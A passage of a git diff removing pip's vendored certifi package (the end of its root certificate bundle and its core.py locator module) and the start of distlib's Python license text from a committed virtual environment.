-lHPTGGkKSv/BAQP/eX+1SH977ugpbzZMlWGG2Pmic4ruri+W7mjNPU0oQvlFKzIb
-RlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3YG14C8qKXO0elg6DpkiV
-jTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq9107PncjLgc
-jmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZx
-TnXonMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+
-ARZZaBhDM7DS3LAaQzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nk
-hbDhezGdpn9yo7nELC7MmVcOIQxFAZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knF
-NXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUqvyREBuH
-kV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG
-OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y
-XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14
-QvBukEdHjqOSMo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4
-pZt+UPJ26oUFKidBK7GB0aL2QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q
-3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xDUmPBEcrCRbH0O1P1aa4846XerOhU
-t7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V4U/M5d40VxDJI3IX
-cI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuodNv8
-ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT
-2vFp4LJiTZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs
-7dpn1mKmS00PaaLJvOwiS5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNP
-gofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAst
-Nl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L+KIkBI3Y4WNeApI02phh
-XBxvWHZks/wCuPWdCg==
------END CERTIFICATE-----
-
-# Issuer: CN=SwissSign RSA TLS Root CA 2022 - 1 O=SwissSign AG
-# Subject: CN=SwissSign RSA TLS Root CA 2022 - 1 O=SwissSign AG
-# Label: "SwissSign RSA TLS Root CA 2022 - 1"
-# Serial: 388078645722908516278762308316089881486363258315
-# MD5 Fingerprint: 16:2e:e4:19:76:81:85:ba:8e:91:58:f1:15:ef:72:39
-# SHA1 Fingerprint: 81:34:0a:be:4c:cd:ce:cc:e7:7d:cc:8a:d4:57:e2:45:a0:77:5d:ce
-# SHA256 Fingerprint: 19:31:44:f4:31:e0:fd:db:74:07:17:d4:de:92:6a:57:11:33:88:4b:43:60:d3:0e:27:29:13:cb:e6:60:ce:41
------BEGIN CERTIFICATE-----
-MIIFkzCCA3ugAwIBAgIUQ/oMX04bgBhE79G0TzUfRPSA7cswDQYJKoZIhvcNAQEL
-BQAwUTELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3aXNzU2lnbiBBRzErMCkGA1UE
-AxMiU3dpc3NTaWduIFJTQSBUTFMgUm9vdCBDQSAyMDIyIC0gMTAeFw0yMjA2MDgx
-MTA4MjJaFw00NzA2MDgxMTA4MjJaMFExCzAJBgNVBAYTAkNIMRUwEwYDVQQKEwxT
-d2lzc1NpZ24gQUcxKzApBgNVBAMTIlN3aXNzU2lnbiBSU0EgVExTIFJvb3QgQ0Eg
-MjAyMiAtIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDLKmjiC8NX
-vDVjvHClO/OMPE5Xlm7DTjak9gLKHqquuN6orx122ro10JFwB9+zBvKK8i5VUXu7
-LCTLf5ImgKO0lPaCoaTo+nUdWfMHamFk4saMla+ju45vVs9xzF6BYQ1t8qsCLqSX
-5XH8irCRIFucdFJtrhUnWXjyCcplDn/L9Ovn3KlMd/YrFgSVrpxxpT8q2kFC5zyE
-EPThPYxr4iuRR1VPuFa+Rd4iUU1OKNlfGUEGjw5NBuBwQCMBauTLE5tzrE0USJIt
-/m2n+IdreXXhvhCxqohAWVTXz8TQm0SzOGlkjIHRI36qOTw7D59Ke4LKa2/KIj4x
-0LDQKhySio/YGZxH5D4MucLNvkEM+KRHBdvBFzA4OmnczcNpI/2aDwLOEGrOyvi5
-KaM2iYauC8BPY7kGWUleDsFpswrzd34unYyzJ5jSmY0lpx+Gs6ZUcDj8fV3oT4MM
-0ZPlEuRU2j7yrTrePjxF8CgPBrnh25d7mUWe3f6VWQQvdT/TromZhqwUtKiE+shd
-OxtYk8EXlFXIC+OCeYSf8wCENO7cMdWP8vpPlkwGqnj73mSiI80fPsWMvDdUDrta
-clXvyFu1cvh43zcgTFeRc5JzrBh3Q4IgaezprClG5QtO+DdziZaKHG29777YtvTK
-wP1H8K4LWCDFyB02rpeNUIMmJCn3nTsPBQIDAQABo2MwYTAPBgNVHRMBAf8EBTAD
-AQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBRvjmKLk0Ow4UD2p8P98Q+4
-DxU4pTAdBgNVHQ4EFgQUb45ii5NDsOFA9qfD/fEPuA8VOKUwDQYJKoZIhvcNAQEL
-BQADggIBAKwsKUF9+lz1GpUYvyypiqkkVHX1uECry6gkUSsYP2OprphWKwVDIqO3
-10aewCoSPY6WlkDfDDOLazeROpW7OSltwAJsipQLBwJNGD77+3v1dj2b9l4wBlgz
-Hqp41eZUBDqyggmNzhYzWUUo8aWjlw5DI/0LIICQ/+Mmz7hkkeUFjxOgdg3XNwwQ
-iJb0Pr6VvfHDffCjw3lHC1ySFWPtUnWK50Zpy1FVCypM9fJkT6lc/2cyjlUtMoIc
-gC9qkfjLvH4YoiaoLqNTKIftV+Vlek4ASltOU8liNr3CjlvrzG4ngRhZi0Rjn9UM
-ZfQpZX+RLOV/fuiJz48gy20HQhFRJjKKLjpHE7iNvUcNCfAWpO2Whi4Z2L6MOuhF
-LhG6rlrnub+xzI/goP+4s9GFe3lmozm1O2bYQL7Pt2eLSMkZJVX8vY3PXtpOpvJp
-zv1/THfQwUY1mFwjmwJFQ5Ra3bxHrSL+ul4vkSkphnsh3m5kt8sNjzdbowhq6/Td
-Ao9QAwKxuDdollDruF/UKIqlIgyKhPBZLtU30WHlQnNYKoH3dtvi4k0NX/a3vgW0
-rk4N3hY9A4GzJl5LuEsAz/+MF7psYC0nhzck5npgL7XTgwSqT0N1osGDsieYK7EO
-gLrAhV5Cud+xYJHT6xh+cHiudoO+cVrQkOPKwRYlZ0rwtnu64ZzZ
------END CERTIFICATE-----
-
-# Issuer: CN=OISTE Server Root ECC G1 O=OISTE Foundation
-# Subject: CN=OISTE Server Root ECC G1 O=OISTE Foundation
-# Label: "OISTE Server Root ECC G1"
-# Serial: 47819833811561661340092227008453318557
-# MD5 Fingerprint: 42:a7:d2:35:ae:02:92:db:19:76:08:de:2f:05:b4:d4
-# SHA1 Fingerprint: 3b:f6:8b:09:ae:2a:92:7b:ba:e3:8d:3f:11:95:d9:e6:44:0c:45:e2
-# SHA256 Fingerprint: ee:c9:97:c0:c3:0f:21:6f:7e:3b:8b:30:7d:2b:ae:42:41:2d:75:3f:c8:21:9d:af:d1:52:0b:25:72:85:0f:49
------BEGIN CERTIFICATE-----
-MIICNTCCAbqgAwIBAgIQI/nD1jWvjyhLH/BU6n6XnTAKBggqhkjOPQQDAzBLMQsw
-CQYDVQQGEwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UEAwwY
-T0lTVEUgU2VydmVyIFJvb3QgRUNDIEcxMB4XDTIzMDUzMTE0NDIyOFoXDTQ4MDUy
-NDE0NDIyN1owSzELMAkGA1UEBhMCQ0gxGTAXBgNVBAoMEE9JU1RFIEZvdW5kYXRp
-b24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IEVDQyBHMTB2MBAGByqGSM49
-AgEGBSuBBAAiA2IABBcv+hK8rBjzCvRE1nZCnrPoH7d5qVi2+GXROiFPqOujvqQy
-cvO2Ackr/XeFblPdreqqLiWStukhEaivtUwL85Zgmjvn6hp4LrQ95SjeHIC6XG4N
-2xml4z+cKrhAS93mT6NjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBQ3
-TYhlz/w9itWj8UnATgwQb0K0nDAdBgNVHQ4EFgQUN02IZc/8PYrVo/FJwE4MEG9C
-tJwwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2kAMGYCMQCpKjAd0MKfkFFR
-QD6VVCHNFmb3U2wIFjnQEnx/Yxvf4zgAOdktUyBFCxxgZzFDJe0CMQCSia7pXGKD
-YmH5LVerVrkR3SW+ak5KGoJr3M/TvEqzPNcum9v4KGm8ay3sMaE641c=
------END CERTIFICATE-----
-
-# Issuer: CN=OISTE Server Root RSA G1 O=OISTE Foundation
-# Subject: CN=OISTE Server Root RSA G1 O=OISTE Foundation
-# Label: "OISTE Server Root RSA G1"
-# Serial: 113845518112613905024960613408179309848
-# MD5 Fingerprint: 23:a7:9e:d4:70:b8:b9:14:57:41:8a:7e:44:59:e2:68
-# SHA1 Fingerprint: f7:00:34:25:94:88:68:31:e4:34:87:3f:70:fe:86:b3:86:9f:f0:6e
-# SHA256 Fingerprint: 9a:e3:62:32:a5:18:9f:fd:db:35:3d:fd:26:52:0c:01:53:95:d2:27:77:da:c5:9d:b5:7b:98:c0:89:a6:51:e6
------BEGIN CERTIFICATE-----
-MIIFgzCCA2ugAwIBAgIQVaXZZ5Qoxu0M+ifdWwFNGDANBgkqhkiG9w0BAQwFADBL
-MQswCQYDVQQGEwJDSDEZMBcGA1UECgwQT0lTVEUgRm91bmRhdGlvbjEhMB8GA1UE
-AwwYT0lTVEUgU2VydmVyIFJvb3QgUlNBIEcxMB4XDTIzMDUzMTE0MzcxNloXDTQ4
-MDUyNDE0MzcxNVowSzELMAkGA1UEBhMCQ0gxGTAXBgNVBAoMEE9JU1RFIEZvdW5k
-YXRpb24xITAfBgNVBAMMGE9JU1RFIFNlcnZlciBSb290IFJTQSBHMTCCAiIwDQYJ
-KoZIhvcNAQEBBQADggIPADCCAgoCggIBAKqu9KuCz/vlNwvn1ZatkOhLKdxVYOPM
-vLO8LZK55KN68YG0nnJyQ98/qwsmtO57Gmn7KNByXEptaZnwYx4M0rH/1ow00O7b
-rEi56rAUjtgHqSSY3ekJvqgiG1k50SeH3BzN+Puz6+mTeO0Pzjd8JnduodgsIUzk
-ik/HEzxux9UTl7Ko2yRpg1bTacuCErudG/L4NPKYKyqOBGf244ehHa1uzjZ0Dl4z
-O8vbUZeUapU8zhhabkvG/AePLhq5SvdkNCncpo1Q4Y2LS+VIG24ugBA/5J8bZT8R
-tOpXaZ+0AOuFJJkk9SGdl6r7NH8CaxWQrbueWhl/pIzY+m0o/DjH40ytas7ZTpOS
-jswMZ78LS5bOZmdTaMsXEY5Z96ycG7mOaES3GK/m5Q9l3JUJsJMStR8+lKXHiHUh
-sd4JJCpM4rzsTGdHwimIuQq6+cF0zowYJmXa92/GjHtoXAvuY8BeS/FOzJ8vD+Ho
-mnqT8eDI278n5mUpezbgMxVz8p1rhAhoKzYHKyfMeNhqhw5HdPSqoBNdZH702xSu
-+zrkL8Fl47l6QGzwBrd7KJvX4V84c5Ss2XCTLdyEr0YconosP4EmQufU2MVshGYR
-i3drVByjtdgQ8K4p92cIiBdcuJd5z+orKu5YM+Vt6SmqZQENghPsJQtdLEByFSnT
-kCz3GkPVavBpAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAU
-8snBDw1jALvsRQ5KH7WxszbNDo0wHQYDVR0OBBYEFPLJwQ8NYwC77EUOSh+1sbM2
-zQ6NMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQwFAAOCAgEANGd5sjrG5T33
-I3K5Ce+SrScfoE4KsvXaFwyihdJ+klH9FWXXXGtkFu6KRcoMQzZENdl//nk6HOjG
-5D1rd9QhEOP28yBOqb6J8xycqd+8MDoX0TJD0KqKchxRKEzdNsjkLWd9kYccnbz8
-qyiWXmFcuCIzGEgWUOrKL+mlSdx/PKQZvDatkuK59EvV6wit53j+F8Bdh3foZ3dP
-AGav9LEDOr4SfEE15fSmG0eLy3n31r8Xbk5l8PjaV8GUgeV6Vg27Rn9vkf195hfk
-gSe7BYhW3SCl95gtkRlpMV+bMPKZrXJAlszYd2abtNUOshD+FKrDgHGdPY3ofRRs
-YWSGRqbXVMW215AWRqWFyp464+YTFrYVI8ypKVL9AMb2kI5Wj4kI3Zaq5tNqqYY1
-9tVFeEJKRvwDyF7YZvZFZSS0vod7VSCd9521Kvy5YhnLbDuv0204bKt7ph6N/Ome
-/msVuduCmsuY33OhkKCgxeDoAaijFJzIwZqsFVAzje18KotzlUBDJvyBpCpfOZC3
-J8tRd/iWkx7P8nd9H0aTolkelUTFLXVksNb54Dxp6gS1HAviRkRNQzuXSXERvSS2
-wq1yVAb+axj5d9spLFKebXd7Yv0PTY6YMjAwcRLWJTXjn/hvnLXrahut6hDTlhZy
-BiElxky8j3C7DOReIoMt0r7+hVu05L0=
------END CERTIFICATE-----
-
-# Issuer: CN=e-Szigno TLS Root CA 2023 O=Microsec Ltd.
-# Subject: CN=e-Szigno TLS Root CA 2023 O=Microsec Ltd.
-# Label: "e-Szigno TLS Root CA 2023"
-# Serial: 71934828665710877219916191754
-# MD5 Fingerprint: 6a:e9:99:74:a5:da:5e:f1:d9:2e:f2:c8:d1:86:8b:71
-# SHA1 Fingerprint: 6f:9a:d5:d5:df:e8:2c:eb:be:37:07:ee:4f:4f:52:58:29:41:d1:fe
-# SHA256 Fingerprint: b4:91:41:50:2d:00:66:3d:74:0f:2e:7e:c3:40:c5:28:00:96:26:66:12:1a:36:d0:9c:f7:dd:2b:90:38:4f:b4
------BEGIN CERTIFICATE-----
-MIICzzCCAjGgAwIBAgINAOhvGHvWOWuYSkmYCjAKBggqhkjOPQQDBDB1MQswCQYD
-VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0
-ZC4xFzAVBgNVBGEMDlZBVEhVLTIzNTg0NDk3MSIwIAYDVQQDDBllLVN6aWdubyBU
-TFMgUm9vdCBDQSAyMDIzMB4XDTIzMDcxNzE0MDAwMFoXDTM4MDcxNzE0MDAwMFow
-dTELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRYwFAYDVQQKDA1NaWNy
-b3NlYyBMdGQuMRcwFQYDVQRhDA5WQVRIVS0yMzU4NDQ5NzEiMCAGA1UEAwwZZS1T
-emlnbm8gVExTIFJvb3QgQ0EgMjAyMzCBmzAQBgcqhkjOPQIBBgUrgQQAIwOBhgAE
-AGgP36J8PKp0iGEKjcJMpQEiFNT3YHdCnAo4YKGMZz6zY+n6kbCLS+Y53wLCMAFS
-AL/fjO1ZrTJlqwlZULUZwmgcAOAFX9pQJhzDrAQixTpN7+lXWDajwRlTEArRzT/v
-SzUaQ49CE0y5LBqcvjC2xN7cS53kpDzLLtmt3999Cd8ukv+ho2MwYTAPBgNVHRMB
-Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUWYQCYlpGePVd3I8K
-ECgj3NXW+0UwHwYDVR0jBBgwFoAUWYQCYlpGePVd3I8KECgj3NXW+0UwCgYIKoZI
-zj0EAwQDgYsAMIGHAkIBLdqu9S54tma4n7Zwf2Z0z+yOfP7AAXmazlIC58PRDHpt
-y7Ve7hekm9sEdu4pKeiv+62sUvTXK9Z3hBC9xdIoaDQCQTV2WnXzkoYI9bIeCvZl
-C9p2x1L/Cx6AcCIwwzPbGO2E14vs7dOoY4G1VnxHx1YwlGhza9IuqbnZLBwpvQy6
-uWWL
------END CERTIFICATE-----
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/core.py b/venv/Lib/site-packages/pip/_vendor/certifi/core.py
deleted file mode 100644
index 2f2f7e088aebb0636a414a22dfe9d18e247cd512..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/certifi/core.py
+++ /dev/null
@@ -1,83 +0,0 @@
-"""
-certifi.py
-~~~~~~~~~~
-
-This module returns the installation location of cacert.pem or its contents.
-"""
-import sys
-import atexit
-
-def exit_cacert_ctx() -> None:
-    _CACERT_CTX.__exit__(None, None, None)  # type: ignore[union-attr]
-
-
-if sys.version_info >= (3, 11):
-
-    from importlib.resources import as_file, files
-
-    _CACERT_CTX = None
-    _CACERT_PATH = None
-
-    def where() -> str:
-        # This is slightly terrible, but we want to delay extracting the file
-        # in cases where we're inside of a zipimport situation until someone
-        # actually calls where(), but we don't want to re-extract the file
-        # on every call of where(), so we'll do it once then store it in a
-        # global variable.
-        global _CACERT_CTX
-        global _CACERT_PATH
-        if _CACERT_PATH is None:
-            # This is slightly janky, the importlib.resources API wants you to
-            # manage the cleanup of this file, so it doesn't actually return a
-            # path, it returns a context manager that will give you the path
-            # when you enter it and will do any cleanup when you leave it. In
-            # the common case of not needing a temporary file, it will just
-            # return the file system location and the __exit__() is a no-op.
-            #
-            # We also have to hold onto the actual context manager, because
-            # it will do the cleanup whenever it gets garbage collected, so
-            # we will also store that at the global level as well.
-            _CACERT_CTX = as_file(files("pip._vendor.certifi").joinpath("cacert.pem"))
-            _CACERT_PATH = str(_CACERT_CTX.__enter__())
-            atexit.register(exit_cacert_ctx)
-
-        return _CACERT_PATH
-
-    def contents() -> str:
-        return files("pip._vendor.certifi").joinpath("cacert.pem").read_text(encoding="ascii")
-
-else:
-
-    from importlib.resources import path as get_path, read_text
-
-    _CACERT_CTX = None
-    _CACERT_PATH = None
-
-    def where() -> str:
-        # This is slightly terrible, but we want to delay extracting the
-        # file in cases where we're inside of a zipimport situation until
-        # someone actually calls where(), but we don't want to re-extract
-        # the file on every call of where(), so we'll do it once then store
-        # it in a global variable.
-        global _CACERT_CTX
-        global _CACERT_PATH
-        if _CACERT_PATH is None:
-            # This is slightly janky, the importlib.resources API wants you
-            # to manage the cleanup of this file, so it doesn't actually
-            # return a path, it returns a context manager that will give
-            # you the path when you enter it and will do any cleanup when
-            # you leave it. In the common case of not needing a temporary
-            # file, it will just return the file system location and the
-            # __exit__() is a no-op.
-            #
-            # We also have to hold onto the actual context manager, because
-            # it will do the cleanup whenever it gets garbage collected, so
-            # we will also store that at the global level as well.
-            _CACERT_CTX = get_path("pip._vendor.certifi", "cacert.pem")
-            _CACERT_PATH = str(_CACERT_CTX.__enter__())
-            atexit.register(exit_cacert_ctx)
-
-        return _CACERT_PATH
-
-    def contents() -> str:
-        return read_text("pip._vendor.certifi", "cacert.pem", encoding="ascii")
diff --git a/venv/Lib/site-packages/pip/_vendor/certifi/py.typed b/venv/Lib/site-packages/pip/_vendor/certifi/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/LICENSE.txt b/venv/Lib/site-packages/pip/_vendor/distlib/LICENSE.txt
deleted file mode 100644
index c31ac56d772f7061c8b42f0ee96063b7a94a4859..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/LICENSE.txt
+++ /dev/null
@@ -1,284 +0,0 @@
-A. HISTORY OF THE SOFTWARE
-==========================
-
-Python was created in the early 1990s by Guido van Rossum at Stichting
-Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
-as a successor of a language called ABC.  Guido remains Python's
-principal author, although it includes many contributions from others.
-
-In 1995, Guido continued his work on Python at the Corporation for
-National Research Initiatives (CNRI, see http://www.cnri.reston.va.us)
-in Reston, Virginia where he released several versions of the
-software.
-
-In May 2000, Guido and the Python core development team moved to
-BeOpen.com to form the BeOpen PythonLabs team.  In October of the same
-year, the PythonLabs team moved to Digital Creations (now Zope
-Corporation, see http://www.zope.com).  In 2001, the Python Software
-Foundation (PSF, see http://www.python.org/psf/) was formed, a
-non-profit organization created specifically to own Python-related
-Intellectual Property.  Zope Corporation is a sponsoring member of
-the PSF.
-
-All Python releases are Open Source (see http://www.opensource.org for
-the Open Source Definition).  Historically, most, but not all, Python
-releases have also been GPL-compatible; the table below summarizes
-the various releases.
-
-    Release         Derived     Year        Owner       GPL-
-                    from                                compatible? (1)
-
-    0.9.0 thru 1.2              1991-1995   CWI         yes
-    1.3 thru 1.5.2  1.2         1995-1999   CNRI        yes
-    1.6             1.5.2       2000        CNRI        no
-    2.0             1.6         2000        BeOpen.com  no
-    1.6.1           1.6         2001        CNRI        yes (2)
-    2.1             2.0+1.6.1   2001        PSF         no
-    2.0.1           2.0+1.6.1   2001        PSF         yes
-    2.1.1           2.1+2.0.1   2001        PSF         yes
-    2.2             2.1.1       2001        PSF         yes
-    2.1.2           2.1.1       2002        PSF         yes
-    2.1.3           2.1.2       2002        PSF         yes
-    2.2.1           2.2         2002        PSF         yes
-    2.2.2           2.2.1       2002        PSF         yes
-    2.2.3           2.2.2       2003        PSF         yes
-    2.3             2.2.2       2002-2003   PSF         yes
-    2.3.1           2.3         2002-2003   PSF         yes
-    2.3.2           2.3.1       2002-2003   PSF         yes
-    2.3.3           2.3.2       2002-2003   PSF         yes
-    2.3.4           2.3.3       2004        PSF         yes
-    2.3.5           2.3.4       2005        PSF         yes
-    2.4             2.3         2004        PSF         yes
-    2.4.1           2.4         2005        PSF         yes
-    2.4.2           2.4.1       2005        PSF         yes
-    2.4.3           2.4.2       2006        PSF         yes
-    2.4.4           2.4.3       2006        PSF         yes
-    2.5             2.4         2006        PSF         yes
-    2.5.1           2.5         2007        PSF         yes
-    2.5.2           2.5.1       2008        PSF         yes
-    2.5.3           2.5.2       2008        PSF         yes
-    2.6             2.5         2008        PSF         yes
-    2.6.1           2.6         2008        PSF         yes
-    2.6.2           2.6.1       2009        PSF         yes
-    2.6.3           2.6.2       2009        PSF         yes
-    2.6.4           2.6.3       2009        PSF         yes
-    2.6.5           2.6.4       2010        PSF         yes
-    3.0             2.6         2008        PSF         yes
-    3.0.1           3.0         2009        PSF         yes
-    3.1             3.0.1       2009        PSF         yes
-    3.1.1           3.1         2009        PSF         yes
-    3.1.2           3.1         2010        PSF         yes
-    3.2             3.1         2010        PSF         yes
-
-Footnotes:
-
-(1) GPL-compatible doesn't mean that we're distributing Python under
-    the GPL.  All Python licenses, unlike the GPL, let you distribute
-    a modified version without making your changes open source.  The
-    GPL-compatible licenses make it possible to combine Python with
-    other software that is released under the GPL; the others don't.
-
-(2) According to Richard Stallman, 1.6.1 is not GPL-compatible,
-    because its license has a choice of law clause.  According to
-    CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1
-    is "not incompatible" with the GPL.
-
-Thanks to the many outside volunteers who have worked under Guido's
-direction to make these releases possible.
-
-
-B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
-===============================================================
-
-PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
---------------------------------------------
-
-1. This LICENSE AGREEMENT is between the Python Software Foundation
-("PSF"), and the Individual or Organization ("Licensee") accessing and
-otherwise using this software ("Python") in source or binary form and
-its associated documentation.
-
-2. Subject to the terms and conditions of this License Agreement, PSF hereby
-grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
-analyze, test, perform and/or display publicly, prepare derivative works,
-distribute, and otherwise use Python alone or in any derivative version,
-provided, however, that PSF's License Agreement and PSF's notice of copyright,
-i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010
-Python Software Foundation; All Rights Reserved" are retained in Python alone or
-in any derivative version prepared by Licensee.
-
-3. In the event Licensee prepares a derivative work that is based on
-or incorporates Python or any part thereof, and wants to make
-the derivative work available to others as provided herein, then
-Licensee hereby agrees to include in any such work a brief summary of
-the changes made to Python.
-
-4. PSF is making Python available to Licensee on an "AS IS"
-basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
-FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
-A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
-OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-6. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-7. Nothing in this License Agreement shall be deemed to create any
-relationship of agency, partnership, or joint venture between PSF and
-Licensee.  This License Agreement does not grant permission to use PSF
-trademarks or trade name in a trademark sense to endorse or promote
-products or services of Licensee, or any third party.
-
-8. By copying, installing or otherwise using Python, Licensee
-agrees to be bound by the terms and conditions of this License
-Agreement.
-
-
-BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0
--------------------------------------------
-
-BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1
-
-1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an
-office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the
-Individual or Organization ("Licensee") accessing and otherwise using
-this software in source or binary form and its associated
-documentation ("the Software").
-
-2. Subject to the terms and conditions of this BeOpen Python License
-Agreement, BeOpen hereby grants Licensee a non-exclusive,
-royalty-free, world-wide license to reproduce, analyze, test, perform
-and/or display publicly, prepare derivative works, distribute, and
-otherwise use the Software alone or in any derivative version,
-provided, however, that the BeOpen Python License is retained in the
-Software, alone or in any derivative version prepared by Licensee.
-
-3. BeOpen is making the Software available to Licensee on an "AS IS"
-basis.  BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE
-SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS
-AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY
-DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-5. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-6. This License Agreement shall be governed by and interpreted in all
-respects by the law of the State of California, excluding conflict of
-law provisions.  Nothing in this License Agreement shall be deemed to
-create any relationship of agency, partnership, or joint venture
-between BeOpen and Licensee.  This License Agreement does not grant
-permission to use BeOpen trademarks or trade names in a trademark
-sense to endorse or promote products or services of Licensee, or any
-third party.  As an exception, the "BeOpen Python" logos available at
-http://www.pythonlabs.com/logos.html may be used according to the
-permissions granted on that web page.
-
-7. By copying, installing or otherwise using the software, Licensee
-agrees to be bound by the terms and conditions of this License
-Agreement.
-
-
-CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1
----------------------------------------
-
-1. This LICENSE AGREEMENT is between the Corporation for National
-Research Initiatives, having an office at 1895 Preston White Drive,
-Reston, VA 20191 ("CNRI"), and the Individual or Organization
-("Licensee") accessing and otherwise using Python 1.6.1 software in
-source or binary form and its associated documentation.
-
-2. Subject to the terms and conditions of this License Agreement, CNRI
-hereby grants Licensee a nonexclusive, royalty-free, world-wide
-license to reproduce, analyze, test, perform and/or display publicly,
-prepare derivative works, distribute, and otherwise use Python 1.6.1
-alone or in any derivative version, provided, however, that CNRI's
-License Agreement and CNRI's notice of copyright, i.e., "Copyright (c)
-1995-2001 Corporation for National Research Initiatives; All Rights
-Reserved" are retained in Python 1.6.1 alone or in any derivative
-version prepared by Licensee.  Alternately, in lieu of CNRI's License
-Agreement, Licensee may substitute the following text (omitting the
-quotes): "Python 1.6.1 is made available subject to the terms and
-conditions in CNRI's License Agreement.  This Agreement together with
-Python 1.6.1 may be located on the Internet using the following
-unique, persistent identifier (known as a handle): 1895.22/1013.  This
-Agreement may also be obtained from a proxy server on the Internet
-using the following URL: http://hdl.handle.net/1895.22/1013".
-
-3. In the event Licensee prepares a derivative work that is based on
-or incorporates Python 1.6.1 or any part thereof, and wants to make
-the derivative work available to others as provided herein, then
-Licensee hereby agrees to include in any such work a brief summary of
-the changes made to Python 1.6.1.
-
-4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS"
-basis.  CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
-IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND
-DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
